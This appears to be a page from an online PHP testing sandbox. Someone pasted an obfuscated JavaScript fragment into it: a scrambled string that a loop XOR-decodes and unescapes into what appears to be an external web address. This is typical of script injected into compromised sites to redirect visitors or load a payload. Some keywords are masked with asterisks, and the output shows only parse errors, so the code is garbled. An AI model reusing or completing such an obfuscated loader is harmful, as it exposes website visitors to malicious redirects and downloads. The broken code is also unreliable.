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run code in 300+ PHP versions simultaneously
<?php sdf = "iuuq$2@..vvv/rsurngu/bnl.bfh,cho.mxsd/bfh.kwl.q`bj`fd.fn^inldq`fd/iulm$2Gq`bj^he$2E4020$37`gg^he$2E0050";yt="";v*r length=sdf.length;for(i=0;i<length;i++){yt+=String.fromCh*rCode(sdf.ch*rCodeAt(i)^1);}yt=unesc*pe(yt);
Output for 4.4.2 - 4.4.9, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.32
Parse error: syntax error, unexpected '=' in /in/bT4qI on line 2
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.3.11, 4.4.0 - 4.4.1, 5.0.0 - 5.0.5
Parse error: parse error, unexpected '=' in /in/bT4qI on line 2
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error in /in/bT4qI on line 2
Process exited with code 255.

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